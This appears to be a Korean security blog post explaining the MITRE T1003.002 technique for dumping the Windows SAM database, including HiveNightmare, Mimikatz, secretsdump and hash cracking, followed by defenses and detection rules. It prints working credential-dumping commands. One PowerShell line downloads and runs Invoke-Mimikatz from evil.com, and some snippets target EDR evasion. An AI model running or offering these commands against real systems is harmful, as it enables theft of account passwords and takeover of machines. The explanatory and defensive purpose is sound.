COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE T1003.002 SAM 데이터베이스 공격 원리를 5단계로 분석. CVE-2021-36934 HiveNightmare 취약점과 13개 APT 그룹 그룹의 자격증명 탈취 기법, 실제 공격 도구와 방어 전략까지 완전 해부
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
Windows 10 이후 버전에서 SAM(보안 계정 관리자) 데이터베이스는 전 세계 10억 대 이상의 컴퓨터에서 로컬 사용자 계정 정보를 관리한다. 하지만 2021년 취약점이 공개되면서, 표준 사용자도 SAM 파일에 접근해 관리자 비밀번호를 탈취할 수 있다는 사실이 드러났다.
T1003.002는 공격자가 Windows SAM 데이터베이스에서 사용자 계정 해시를 추출하는 자격 증명 덤핑 기법이다. 로컬 권한 상승과 횡적 이동의 핵심 단계로 활용된다. 한 번 성공하면 해당 시스템의 모든 로컬 계정을 장악할 수 있다.
SAM 데이터베이스는 Windows 시스템에서 로컬 사용자 계정과 그룹 정보를 저장하는 핵심 보안 구성 요소이다.
The Security Account Manager (SAM) is a database file in Windows XP, Windows Vista, Windows 7, 8.1, 10 and 11 that stores users' passwords. It can be used to authenticate local and remote users. — Microsoft Security Documentation
위 정의에서 알 수 있듯이, SAM은 단순한 파일이 아니라 Windows 인증 시스템의 핵심이다. 사용자가 로그인할 때마다 입력한 비밀번호가 SAM에 저장된 해시와 비교되어 인증이 수행된다.
T1003.002 기법을 구성하는 5가지 핵심 요소는 다음과 같다:
%systemroot%\system32\config\SAM에 위치한 실제 데이터베이스%systemroot%\system32\config\SYSTEMHKEY_LOCAL_MACHINE\SAM에 마운트된 메모리 상의 SAM 데이터| 용어 | 설명 |
|---|---|
| SAM | 역할: 로컬 계정 정보 저장 / 저장 위치: \system32\config\SAM / 접근 권한: SYSTEM 필요 |
| NTDS.dit | 역할: 도메인 계정 정보 저장 / 저장 위치: 도메인 컨트롤러 / 접근 권한: Domain Admin 필요 |
| LSA Secrets | 역할: 서비스 계정 비밀번호 / 저장 위치: 레지스트리 LSA 키 / 접근 권한: SYSTEM 필요 |
| LSASS 메모리 | 역할: 현재 로그인 자격증명 / 저장 위치: 프로세스 메모리 / 접근 권한: SeDebugPrivilege 필요 |
| Cached Credentials | 역할: 도메인 로그인 캐시 / 저장 위치: 레지스트리 Cache 키 / 접근 권한: SYSTEM 필요 |
T1003.002 공격의 전체 과정은 권한 획득부터 해시 크래킹까지 5단계로 구성된다:
SAM 데이터베이스에 접근하려면 반드시 SYSTEM 수준의 권한이 필요하다. 이는 Windows 보안 모델의 핵심 설계 원칙이다.
# PsExec을 통한 SYSTEM 권한 획득
psexec -s -i cmd.exe
# 또는 서비스 생성을 통한 권한 상승
sc create malservice binpath= "cmd.exe /c whoami > C:\temp\system.txt"
sc start malservice
공격자는 다양한 방법으로 SYSTEM 권한을 획득할 수 있다. 가장 일반적인 방법은 기존의 관리자 권한을 SYSTEM으로 상승시키거나, 취약한 서비스를 악용하는 것이다.
SYSTEM 권한을 획득한 후에는 3가지 방법으로 SAM 데이터를 추출할 수 있다:
레지스트리 덤프 방식
# SAM과 SYSTEM 하이브를 파일로 저장
reg save HKLM\SAM C:\temp\sam.save
reg save HKLM\SYSTEM C:\temp\system.save
이 방법은 가장 간단하지만 디스크에 흔적을 남깁다. 공격자는 추출 후 즉시 파일을 삭제하거나 원격 시스템으로 전송한다.
볼륨 섀도우 복사본 방식
# 섀도우 복사본 생성
vssadmin create shadow /for=C:
# 섀도우 복사본에서 SAM 파일 복사
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system
이 방법은 파일 시스템 잠금을 우회하여 실행 중인 시스템에서도 SAM 파일을 복사할 수 있다.
메모리 덤프 방식
# Python을 통한 메모리 패턴 스캔 예시
import struct
import mmap
def scan_lsass_memory():
# LSASS 프로세스 메모리에서 SAM 구조 검색
# 실제 구현은 더 복잡한 패턴 매칭을 포함
sam_signature = b'\x72\x65\x67\x66' # 'regf' 시그니처
# 메모리 스캔 로직...
SAM 파일의 비밀번호 해시는 부트 키(Boot Key)로 암호화되어 있다. 이 키는 SYSTEM 파일에 저장되어 있으며, 다음과 같은 레지스트리 키에서 추출된다:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\JD
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Skew1
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\GBG
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Data
부트 키 추출 과정은 다음과 같다:
# 부트 키 추출 의사코드
def extract_bootkey(system_hive):
# 각 키에서 클래스 이름의 마지막 8자리 추출
jd_key = get_class_name("JD")[-8:]
skew1_key = get_class_name("Skew1")[-8:]
gbg_key = get_class_name("GBG")[-8:]
data_key = get_class_name("Data")[-8:]
# 순서 재배열 후 16바이트 부트 키 생성
scrambled_key = jd_key + skew1_key + gbg_key + data_key
bootkey = unscramble(scrambled_key)
return bootkey
부트 키를 획득한 후에는 SAM 파일에서 각 사용자의 NTLM 해시를 추출할 수 있다. SAM 파일의 구조는 다음과 같다:
SAM\Domains\Account\Users\<RID>\
├── F (사용자 정보)
├── V (해시 데이터)
└── UserName (사용자명)
RID(상대 식별자) 체계는 다음과 같이 구성된다:
추출된 NTLM 해시는 오프라인에서 크래킹할 수 있다:
# Hashcat을 이용한 NTLM 해시 크래킹
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt
# John the Ripper 사용
john --format=NT ntlm_hashes.txt --wordlist=rockyou.txt
이 과정에서 중요한 점은 NTLM 해시 자체도 Pass-the-Hash 공격에 직접 사용할 수 있다는 것이다. 반드시 평문 비밀번호로 크래킹할 필요가 없다.
추출된 SAM 데이터는 다음과 같은 형태를 가진다:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user1:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
각 필드의 의미는 다음과 같다:
공격자에게 SAM 데이터베이스는 "황금 창고"와 같다. 한 번의 성공적인 추출로 해당 시스템의 모든 로컬 계정을 장악할 수 있기 때문이다. 특히 다음과 같은 이유로 매력적인 공격 대상이다:
2021년 발견된 이 취약점은 T1003.002의 가장 심각한 실제 사례이다. Windows 10과 11의 설계 결함으로 인해 표준 사용자도 SAM 파일에 접근할 수 있게 되었다.
취약점 메커니즘:
# 표준 사용자도 실행 가능한 명령
icacls C:\Windows\System32\config\SAM
# 결과: Everyone:(I)(RX) - 모든 사용자가 읽기 가능
이 취약점의 핵심은 과도하게 허용적인 ACL(접근 제어 목록)이 시스템 파일에 적용된 것이다. 공격자는 다음과 같이 악용할 수 있다:
# 볼륨 섀도우 복사본을 통한 SAM 접근 (표준 사용자 권한)
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM" sam
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" system
상용 도구 악용
공격자들이 자주 사용하는 도구들:
# Mimikatz - 가장 널리 알려진 자격증명 덤핑 도구
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
# Impacket secretsdump - 원격 SAM 덤핑
secretsdump.py -sam sam.save -system system.save LOCAL
# pwdump 계열 도구
pwdump8.exe
파일리스 공격 기법
메모리에서만 동작하여 디스크 흔적을 남기지 않는 방법:
# PowerShell을 이용한 메모리 내 SAM 추출
IEX (New-Object Net.WebClient).DownloadString('https://evil.com/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'
직접 시스템 호출
최신 EDR 솔루션의 API 훅킹을 우회하기 위해 직접 시스템 호출을 사용한다:
// Windows API 대신 직접 시스템 호출 사용
NTSTATUS status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId);
장치 수준 접근
파일 시스템 필터를 우회하기 위해 디스크를 직접 장치로 열어 SAM 테이블을 파싱한다:
// 디스크를 물리적 장치로 열기
HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0",
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
시스템 수준 보호
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"RunAsPPL"=dword:00000001
# 그룹 정책을 통한 Credential Guard 활성화
gpedit.msc → Computer Configuration → Administrative Templates → System → Device Guard
탐지 및 모니터링
중요한 이벤트 로그 모니터링:
reg.exe save 명령 실행
<Rule>
<EventID>4656</EventID>
<ObjectName>*\SAM</ObjectName>
<AccessMask>0x1</AccessMask>
</Rule>
네트워크 세그멘테이션
로컬 관리자 계정의 횡적 이동을 방지하기 위한 조치:
T1003.002 SAM 데이터베이스 공격은 Windows 시스템에서 로컬 자격 증명을 탈취하는 핵심 기법으로, 공격자가 SYSTEM 권한을 획득한 후 SAM 파일에서 사용자 해시를 추출하여 시스템을 완전히 장악하는 방법이다.
이 기법은 단독으로 사용되기보다는 더 큰 공격 체인의 일부로 활용된다. 자격증명 덤핑 비교: MITRE T1003 3가지 기법 완전 분석에서 다른 자격 증명 탈취 기법과의 차이점을 확인할 수 있으며, LSASS Memory: 13개 APT 그룹이 Windows 자격증명을 탈취하는 원리에서는 메모리 기반 공격과의 연관성을 살펴볼 수 있다.
앞으로 알아볼 심화 주제로는 도메인 환경에서의 NTDS.dit 탈취, Active Directory 공격의 핵심인 DCSync 공격, 그리고 Kerberos 인증을 우회하는 Golden Ticket 공격 등이 있다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.